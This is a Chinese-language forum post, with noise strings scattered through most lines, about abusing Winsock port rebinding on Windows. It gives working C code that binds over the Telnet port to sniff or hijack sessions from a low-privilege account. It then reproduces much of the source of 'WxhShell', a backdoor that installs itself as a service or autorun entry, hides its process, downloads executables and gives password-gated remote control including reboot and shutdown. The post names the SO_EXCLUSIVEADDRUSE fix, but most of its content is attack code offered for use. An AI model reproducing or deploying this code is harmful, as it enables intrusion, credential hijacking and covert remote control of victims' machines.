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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: P$Fq62;}r4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 66l+cb  
q4]Qvf>  
  saddr.sin_family = AF_INET; w3 K>IDWI7  
;{Tf:j'g  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); x]pZcx9  
6rh^?B  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9k3RC}dEr  
-jcgxQH53  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >L,Pw1Y0W[  
ANlzF& K  
  这意味着什么?意味着可以进行如下的攻击: ?;ovh nY)  
r%vO^8FQ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1aS66TS3  
Vy@0Got5=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W7?f_E\>W  
I2e@_[ 1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 jI45X22j  
.aD=d\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6&[rA TU+  
7Lx =VX#]q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lzK,VZ=mM  
C>Cb  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %%^by  
e)2w&2i`(F  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -b'a-?  
B;^YHWJ6i  
  #include d/l>~%bR  
  #include /YD2F  
  #include #GIjU1-  
  #include    )|IMhB+4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Tu7sA.73k  
  int main() *7^w}v+.  
  { U{Moyj  
  WORD wVersionRequested; 4j}uVGi{e  
  DWORD ret; ?vV&tqnx%  
  WSADATA wsaData; ^8{:RiN6e~  
  BOOL val;  :qrCqFl  
  SOCKADDR_IN saddr; <a)L5<#  
  SOCKADDR_IN scaddr; TUM7(-,9  
  int err; =6< Am  
  SOCKET s; i3U_G^8  
  SOCKET sc; Ztj~Q9mu  
  int caddsize; Z=[?T f  
  HANDLE mt; xOBzT&  
  DWORD tid;   TY]-L1$  
  wVersionRequested = MAKEWORD( 2, 2 ); ),&tF_z:  
  err = WSAStartup( wVersionRequested, &wsaData ); 0/,Dy2h  
  if ( err != 0 ) { ??h4qJ  
  printf("error!WSAStartup failed!\n"); ~.&2N Ur  
  return -1; &v.Nj9{zi  
  } 31`Eq*Y)4  
  saddr.sin_family = AF_INET; lWWy|r'il  
   I9g!#lbl  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )\q A[rTG  
Hd/|f;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Cj,Yy  
  saddr.sin_port = htons(23); d'oh-dj %^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p-6Y5$Y  
  { \-]zXKl2k  
  printf("error!socket failed!\n"); ?=bqya"Y  
  return -1; '@ $L}C#OI  
  } o*[n[\cR  
  val = TRUE; kK0.j)(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Cggu#//Z}Q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ap :mc:  
  { wb#ZRmx}  
  printf("error!setsockopt failed!\n"); e2~$=f-  
  return -1; O ;34~k   
  } @%oHt*u  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; X6hp}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Skb d'j  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0:CIM  
<WHu</  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .qN|.:6a  
  { Yq$KYB j  
  ret=GetLastError(); ""; Bq*Y#  
  printf("error!bind failed!\n"); nmH1Wg*aW  
  return -1; sRMz[n 5k  
  } 2@A%;f0Q  
  listen(s,2); t-gLh(-.  
  while(1) yGxAur=dE  
  { (R9{wGV [  
  caddsize = sizeof(scaddr); W RBCNra  
  //接受连接请求 ZM6`:/lc  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K+s@.D9J  
  if(sc!=INVALID_SOCKET) Ao0p=@Y  
  { ~$WBcqo  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); cbton<r~  
  if(mt==NULL) ?ufX3yia  
  { !LunoC>B  
  printf("Thread Creat Failed!\n"); +nz6+{li\  
  break; 61[ 8I},V  
  } +.EP_2f9  
  } dbE]&w`?d  
  CloseHandle(mt); K1gZ>FEY|N  
  } M2$.Y om[  
  closesocket(s); \~(scz$  
  WSACleanup(); As y&X  
  return 0; "CX@a"  
  }   |= o)|z2  
  DWORD WINAPI ClientThread(LPVOID lpParam) L&I8lG  
  { I*SrK Zb  
  SOCKET ss = (SOCKET)lpParam; Un~8N  
  SOCKET sc; $ #*";b)QY  
  unsigned char buf[4096]; C8xxR~mq  
  SOCKADDR_IN saddr; \~r`2p-K  
  long num; Cwh*AKq(  
  DWORD val; o4zX 41W  
  DWORD ret; 1Zh4)6x  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L/[b~D>T%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :pp@x*uNP  
  saddr.sin_family = AF_INET; Fu z'!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +n)_\@aQ  
  saddr.sin_port = htons(23); !jySID?q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JZo18^aD"'  
  { [J{M'+a  
  printf("error!socket failed!\n"); z AZ+'9LB  
  return -1; Hdn%r<+c  
  } ev{;}2~V  
  val = 100; k(]R;`f$W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n&n WY+GEo  
  { j6JK4{  
  ret = GetLastError(); '#oNOU  
  return -1;  Fhk 8  
  } >iKbn  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  jO5,PTV  
  { Nueb xd  
  ret = GetLastError(); ~~B`\!n7  
  return -1; F?Fs x)2k  
  } 4ZX6=-u^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _=\J:r|Y:  
  {  EL$"/ptE  
  printf("error!socket connect failed!\n"); DD?zbN0X  
  closesocket(sc); }g9g]\.!a  
  closesocket(ss); 2}BQ=%E!'  
  return -1; rP7[{'%r  
  } }#<mK3MBe  
  while(1) nj (\+l5  
  { C5F=J8pY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )&") J}@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -Gyj]v5y`c  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Cd7imj  
  num = recv(ss,buf,4096,0); %0gcNk"=  
  if(num>0) }t FRl  
  send(sc,buf,num,0); M}S1Zz%Ii1  
  else if(num==0) HPus/#j'+  
  break; ] oMtqkiR  
  num = recv(sc,buf,4096,0); XH`W(  
  if(num>0) zgnZ72%  
  send(ss,buf,num,0); mWP1mc:M(  
  else if(num==0) '| 6ZPv&N  
  break; <Rb[0E$  
  } &<>NP?j}  
  closesocket(ss); Dga;GYx  
  closesocket(sc); (X3}&aLF  
  return 0 ; 11g_!X -g@  
  } ~ubcD6f  
v.q`1D1=t  
"T4buTXJ  
========================================================== *De}3-e1b  
J/(^Z?/~P!  
下边附上一个代码,,WXhSHELL w~%Rxdh?8W  
EW~M,+?  
========================================================== c]+uj q  
?nCo?A  
#include "stdafx.h" w2(pgWed  
^Mmsja5K  
#include <stdio.h> unB`n'L  
#include <string.h> 579<[[6~d2  
#include <windows.h> !XqU'xxC  
#include <winsock2.h> buu /Nz$  
#include <winsvc.h> ,vh $G 7D  
#include <urlmon.h> _Oc(K "v  
_wp_y-"  
#pragma comment (lib, "Ws2_32.lib") EZee kxs  
#pragma comment (lib, "urlmon.lib") TZ+- >CG  
=H_vRd  
#define MAX_USER   100 // 最大客户端连接数 (~ `?_  
#define BUF_SOCK   200 // sock buffer /Pyj|!C3`q  
#define KEY_BUFF   255 // 输入 buffer )#Le"&D  
8-&c%h 1  
#define REBOOT     0   // 重启 hqW),^\>'  
#define SHUTDOWN   1   // 关机 (Zz8 ldO  
dQQ!QbI(.  
#define DEF_PORT   5000 // 监听端口 6BdK)s  
) -^(Su(!  
#define REG_LEN     16   // 注册表键长度 @j`gx M_-O  
#define SVC_LEN     80   // NT服务名长度 ?e#bq]  
xiy=D5N.=  
// 从dll定义API &~KAZ}xu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z4s+8cTHn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WXs?2S*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R^?9 V=Y<T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hCPyCq]  
R KXhD PA  
// wxhshell配置信息 >n"4M~I  
struct WSCFG { [e f&|Pi-  
  int ws_port;         // 监听端口 ^iqy|zNtn  
  char ws_passstr[REG_LEN]; // 口令 s`2q(`}  
  int ws_autoins;       // 安装标记, 1=yes 0=no \#sdN#e;XA  
  char ws_regname[REG_LEN]; // 注册表键名 bamQ]>0|>!  
  char ws_svcname[REG_LEN]; // 服务名 ^5n#hSqZ=M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PSHzB! H=n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <f9a%`d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3]li3B'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <]f{X<ef  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X#<+D1P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !!+LFe4su  
;wa#m1  
}; VD~ %6AjyN  
AaLbJYuKd  
// default Wxhshell configuration rcAPp  
struct WSCFG wscfg={DEF_PORT, ;Xl {m`E+  
    "xuhuanlingzhe", FI"KJk'  
    1, 5q;c=oRUj  
    "Wxhshell", Sfa;;7W@R  
    "Wxhshell", p|>m 2(|  
            "WxhShell Service", ;Sl%I+?  
    "Wrsky Windows CmdShell Service", KsSIX  
    "Please Input Your Password: ", <)a7Nrc\T  
  1, SajasjE!^1  
  "http://www.wrsky.com/wxhshell.exe", +n>p"+c  
  "Wxhshell.exe" QmC#1%@a  
    }; "9X1T]  
f7b6!R;z_  
// 消息定义模块 :X}fXgeL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qH4+i STnV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %z6_,|%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mEg3.|  
char *msg_ws_ext="\n\rExit."; O>eg_K,c  
char *msg_ws_end="\n\rQuit."; <<PXh&wu0  
char *msg_ws_boot="\n\rReboot..."; S1o[)q   
char *msg_ws_poff="\n\rShutdown..."; }z F,dst  
char *msg_ws_down="\n\rSave to "; 0[f[6mm%m  
:?j]W2+kR  
char *msg_ws_err="\n\rErr!"; Zd}12HFq  
char *msg_ws_ok="\n\rOK!"; &EhOSu  
rpUTn!*u/  
char ExeFile[MAX_PATH]; .aQ8I1~  
int nUser = 0; .#}A/V.-Y  
HANDLE handles[MAX_USER]; _H"_&m$aDm  
int OsIsNt; !n<SpW;  
v, !`A!{D  
SERVICE_STATUS       serviceStatus; *G8Z[ht%r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R0urt  
? =I']$MH  
// 函数声明 =9;b|Y"aQ  
int Install(void); ~t<uX "K  
int Uninstall(void); Fh4Exl@6  
int DownloadFile(char *sURL, SOCKET wsh); Z^c\M\`7  
int Boot(int flag); O4cBn{Dq9  
void HideProc(void); sD$K<nyz  
int GetOsVer(void); `LNKbTc[m  
int Wxhshell(SOCKET wsl); D `av9I  
void TalkWithClient(void *cs); L;=3n[^x  
int CmdShell(SOCKET sock); b%].D(qBy  
int StartFromService(void); 7ufTmz#j<  
int StartWxhshell(LPSTR lpCmdLine); oDWNOw  
3X#Cep20a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >FS}{O2c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Sq x'nXgO  
m^ /s}WEqp  
// 数据结构和表定义 NNMn,J  
SERVICE_TABLE_ENTRY DispatchTable[] = #~4;yY\$I  
{ Myf2"\}  
{wscfg.ws_svcname, NTServiceMain}, a4 mRu|x  
{NULL, NULL} q ,+29  
}; ; o(:}d  
Y?- "HK:  
// 自我安装 R[l~E![!j  
int Install(void) `neo.]  
{ 4|UtE<<b  
  char svExeFile[MAX_PATH];  &\ K  
  HKEY key; }L @~!=q*  
  strcpy(svExeFile,ExeFile); Bkg./iP5x  
-b)3+#f  
// 如果是win9x系统,修改注册表设为自启动 +R_s(2vz  
if(!OsIsNt) { NU"L1dK @  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [ OS& eK 8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T%A"E,#  
  RegCloseKey(key); ==S^IBG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8gG;A8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0./Rdf=-1j  
  RegCloseKey(key); xyHv7u%*  
  return 0; S263h(H  
    } Gr'|nR8  
  } PbfgWGr  
} U?ZWDr"*`w  
else { E)|Bl>  
fOdX2{7m  
// 如果是NT以上系统,安装为系统服务 7d/I"?=|rA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BY':R-~(  
if (schSCManager!=0)  pLM?m  
{ nd[Ja_h  
  SC_HANDLE schService = CreateService l5D4 ?`|  
  ( c< sq0('`  
  schSCManager, 8T8]gM  
  wscfg.ws_svcname, PAH#yM2Ic  
  wscfg.ws_svcdisp, n]t3d  
  SERVICE_ALL_ACCESS, k"6v& O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 03_M+lv  
  SERVICE_AUTO_START, -C8LM ls  
  SERVICE_ERROR_NORMAL, ""m/?TZq'  
  svExeFile, DQ&\k'"\  
  NULL, DcG=u24Xy!  
  NULL, 24sQon  
  NULL, NErvX/qK  
  NULL, `6BQ6)7  
  NULL )-h{0o  
  ); 8"A0@fNz  
  if (schService!=0) i^8w0H<-@v  
  { deJ/3\t  
  CloseServiceHandle(schService); ~qX wQ@  
  CloseServiceHandle(schSCManager); MHGaf`7ro  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F"QJ)F  
  strcat(svExeFile,wscfg.ws_svcname); JSx[V<7m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t^}"8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (j(9'DjP  
  RegCloseKey(key); ]:m4~0^#-(  
  return 0; fAfB.|cd  
    } x![G'I  
  } a54S,}|  
  CloseServiceHandle(schSCManager); :&LV^ A  
} K92M9=>  
} [{#n?BT  
kWs:7jiiu  
return 1; AS0mM HJk  
} Fq`@sM $  
#WGyQ u  
// 自我卸载 ylDfr){  
int Uninstall(void) -y[y.#o  
{ c(Fo-4K  
  HKEY key; 88 ca  
BqdGU-Q  
if(!OsIsNt) { y)TBg8Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >5zD0!bA  
  RegDeleteValue(key,wscfg.ws_regname); xK4E+^ b  
  RegCloseKey(key); :c`djM^ll  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2z1r|?l  
  RegDeleteValue(key,wscfg.ws_regname); =$ubSfx  
  RegCloseKey(key); Q5IN1 ^=HF  
  return 0; RB;2  
  } AJ6O>Euq  
} ]iZ-MG)J  
} buWF6LFC  
else { $-6[9d-N  
A2Iqn5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'b+ Tio  
if (schSCManager!=0) vkW;qt}yO  
{ C\|HN=2eh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @[n%q.|VB  
  if (schService!=0) f9'dZ}B  
  { `qZ@eGZ z  
  if(DeleteService(schService)!=0) { 1-R4A7+3  
  CloseServiceHandle(schService); N'|9rB2e  
  CloseServiceHandle(schSCManager); d ;,C[&  
  return 0; pvRa  
  } SL<EZn0F9  
  CloseServiceHandle(schService); pwF])uf*{\  
  } u:,B&}j  
  CloseServiceHandle(schSCManager); 9$%S<v  
} {P%\& \{F  
} 59?$9}ob  
~Q=^YZgn8  
return 1; yzXS{#\  
} C4|79UG>s  
3v)`` n@  
// 从指定url下载文件 *4l6+#W  
int DownloadFile(char *sURL, SOCKET wsh) cWI7];/d;  
{ &*~_ "WyU  
  HRESULT hr; T3-/+4$0v  
char seps[]= "/"; <,9rXjeRl  
char *token; ETfoL.d$(  
char *file; 0X%#9s ~  
char myURL[MAX_PATH]; i^rHZmT  
char myFILE[MAX_PATH]; 5[^Rf'wy  
BIT<J5>  
strcpy(myURL,sURL);  x![ut  
  token=strtok(myURL,seps); f6#1sO4"  
  while(token!=NULL) S^~ lQ|D  
  { _~!c%_  
    file=token; @rr\Jf""z  
  token=strtok(NULL,seps); BqOMg$<\[  
  } al4X}  
kB-<17  
GetCurrentDirectory(MAX_PATH,myFILE); IN"6 =2:  
strcat(myFILE, "\\"); KoFWI_(b  
strcat(myFILE, file); Ystd[  
  send(wsh,myFILE,strlen(myFILE),0); ) =|8%IrB  
send(wsh,"...",3,0); kO,vHg$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nB%[\LtZ?  
  if(hr==S_OK) SFRYX,0m  
return 0;  L$[1+*  
else M+L0 X$}NZ  
return 1; d ewN\  
s18A  
} ' h|d-p\`9  
F>5)Clq  
// 系统电源模块 ^i17MvT'  
int Boot(int flag) eak+8URo  
{ OC`Mzf%.  
  HANDLE hToken; qkq^oHI  
  TOKEN_PRIVILEGES tkp; w-``kID  
0Y*Ag ,S  
  if(OsIsNt) { [<#`@Kr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l/bZE.GJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #M:Vwn JX  
    tkp.PrivilegeCount = 1; ^~m}(6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;7g~4Uv4}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <J!?eH9f  
if(flag==REBOOT) { Q_|Lv&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .vpx@_;]9  
  return 0; LLwC*)#  
} v t}A6mF  
else { oF5~|&C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M V~3~h8  
  return 0; xc$jG?83#  
} wmit>69S  
  } m?`$NJST  
  else { r7  *'s  
if(flag==REBOOT) { ]U5/!e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qApf\o3[0  
  return 0; Oa7jLz'i  
} uq@_DPA7  
else { HQrx9CXE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7]8apei|  
  return 0; (EOYJHZB!  
} Gv 6#LcF#  
} oo!JAv}~  
[L>AU; :  
return 1; /3 d6Og  
} ?,*KAGg%  
ef -PlGn  
// win9x进程隐藏模块 qjLFgsd  
void HideProc(void) Ert` ]s~  
{ DgC;1U'  
W/<C$T4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 93y!x}  
  if ( hKernel != NULL ) lhJZPnx~  
  { I>spJ5ls  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )dI  `yf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y/G~P,9  
    FreeLibrary(hKernel); n7'X.=o7  
  } =' #yG(h  
GP=&S|hi  
return; b$eZ>X  
} rFYw6&;vOi  
R"[U<^  
// 获取操作系统版本 [!b=A:@  
int GetOsVer(void) s;YuB#Z  
{ gJuA*^  
  OSVERSIONINFO winfo; EY[J;H_b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CYN|  
  GetVersionEx(&winfo); ~ ^) 4*@i6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0uf)6(f  
  return 1; 0-zIohSJdQ  
  else xX{gm'3UYa  
  return 0; P}mn2Hs  
} N(L?F):fT  
)zq sn  
// 客户端句柄模块 _w49@9?  
int Wxhshell(SOCKET wsl) qX!P:M  
{ .06[*S  
  SOCKET wsh; w:o,mzuXK  
  struct sockaddr_in client; nL&[R}@W  
  DWORD myID; wm_o(Z}  
dzyp:\&9  
  while(nUser<MAX_USER) %PxJnMb?  
{ BFMINq>  
  int nSize=sizeof(client); _9b;8%? Yf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :/FT>UCL  
  if(wsh==INVALID_SOCKET) return 1; ##qs{s^ ]  
:<>=,`vQD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <LA!L  
if(handles[nUser]==0) 2$gOe^ &  
  closesocket(wsh); eEMU,zCl  
else [f\TnXq24  
  nUser++; D$G:#z*  
  } \*6Ld %:h$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :sXn*k4v  
W\JwEb9Y  
  return 0; /|2 hW`G  
} W&8)yog.  
cAc>p-y%  
// 关闭 socket <46fk*  
void CloseIt(SOCKET wsh) V<G=pPC'H  
{ $&[}+??  
closesocket(wsh); ,xsFBNCC  
nUser--; ;]xJC j  
ExitThread(0); IJV1=/ NJW  
} '"14(BvW  
uGH>|V9'c  
// 客户端请求句柄 %,[p[`NRYR  
void TalkWithClient(void *cs) H8'_.2vwX  
{ QAmb_:^"d  
)Y@mL/_  
  SOCKET wsh=(SOCKET)cs; W: vw.  
  char pwd[SVC_LEN]; !`?*zf  
  char cmd[KEY_BUFF]; 6l-V% 3-  
char chr[1]; *T{P^q.s~[  
int i,j; .YcI .  
86N"EuH$  
  while (nUser < MAX_USER) { x7 l3&;yDv  
o>}fKg<  
if(wscfg.ws_passstr) { U4ELlxGe  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eW^_YG%(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DKxzk~sOM  
  //ZeroMemory(pwd,KEY_BUFF); XK t">W  
      i=0; tW |K\NL  
  while(i<SVC_LEN) { sX$EdIq  
+Pm yFJH  
  // 设置超时 \5s #9  
  fd_set FdRead; KZ;Q71  
  struct timeval TimeOut; ]K(>r#'nH  
  FD_ZERO(&FdRead); }D>nXhO&  
  FD_SET(wsh,&FdRead); @,{', =L6  
  TimeOut.tv_sec=8; bI?YNt,  
  TimeOut.tv_usec=0; 4tv}V:EO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vPA {)l\K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); llP 5  
JD}"_,-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l.Qv9Ll|b  
  pwd=chr[0]; ,3tcti~sZ  
  if(chr[0]==0xd || chr[0]==0xa) { A$]&j5nh|  
  pwd=0; \$] V#@F  
  break; ow{SsX  
  } k{q4Zz[  
  i++; io{uN/!X_J  
    } ) ]x/3J@  
N1O.U"L;  
  // 如果是非法用户,关闭 socket ``p( )^zT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -$js5 Gx1  
} 0+P<1ui  
Y}pCBw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q(\U'|%J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8NRc+@f|m  
<p74U( V  
while(1) { z]Dbca1a`  
}+fMYgw  
  ZeroMemory(cmd,KEY_BUFF); R|Lr@k{6+r  
05cyWg9a  
      // 自动支持客户端 telnet标准   v8>?,N#  
  j=0; ~\^h;A'3  
  while(j<KEY_BUFF) { 0[qU k(=}[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &eHhj9  
  cmd[j]=chr[0]; W%xg;uzp  
  if(chr[0]==0xa || chr[0]==0xd) { MWxv\o   
  cmd[j]=0; NlS/PWc6(  
  break; ] 3@.)  
  } <-1(G1v  
  j++; 0*F{=X~L  
    } c[~LI<>ic  
(79y!&9p  
  // 下载文件 vxRy7:G"  
  if(strstr(cmd,"http://")) { ^6E+l#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?zD? -  
  if(DownloadFile(cmd,wsh)) {T0f]]}Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K9YD)351t  
  else cJnAwIs_e`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ymxYE#q  
  } m.}Yn,  
  else { 5g{F-  
:bhpYEUMx  
    switch(cmd[0]) { ^K#PcPF-j  
  9{;cp?\)M  
  // 帮助 +v`?j+6z  
  case '?': { F(w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Wx<fD()  
    break; w,t>M_( N  
  } =&J 7 'nDP  
  // 安装 >(} I7  
  case 'i': { mrzrQ@sN  
    if(Install()) v~2$9x!9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g0P^O@8  
    else o6PDCaT7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oP$l(k  
    break; $cxulcay=  
    } ecoi4f  
  // 卸载 i+2fWi6Z+  
  case 'r': { -xc*R%k  
    if(Uninstall()) B|~tW21  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {q[l4_  
    else `Eijy3>h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T w!]N%E  
    break; >0W:snNK  
    } !8Rsz:7^-  
  // 显示 wxhshell 所在路径 vT#$`M<  
  case 'p': { {p{TG5rwX  
    char svExeFile[MAX_PATH]; G8y:f%I!b  
    strcpy(svExeFile,"\n\r"); Y R2Q6}xR  
      strcat(svExeFile,ExeFile); J5Nz<  
        send(wsh,svExeFile,strlen(svExeFile),0); S+d@RMdes  
    break; 3=reN6Q  
    } thYG1Cs  
  // 重启 E0miX)AG  
  case 'b': { -gWqq7O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); | Vtd !9  
    if(Boot(REBOOT)) m@r+M"!R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]pZxbs&Vb  
    else { ^=H. .pr  
    closesocket(wsh); SxHj3,`#C  
    ExitThread(0); [/s^(2%  
    } CMm:Vea  
    break; kIb)I(n  
    } 8Rgvb3u  
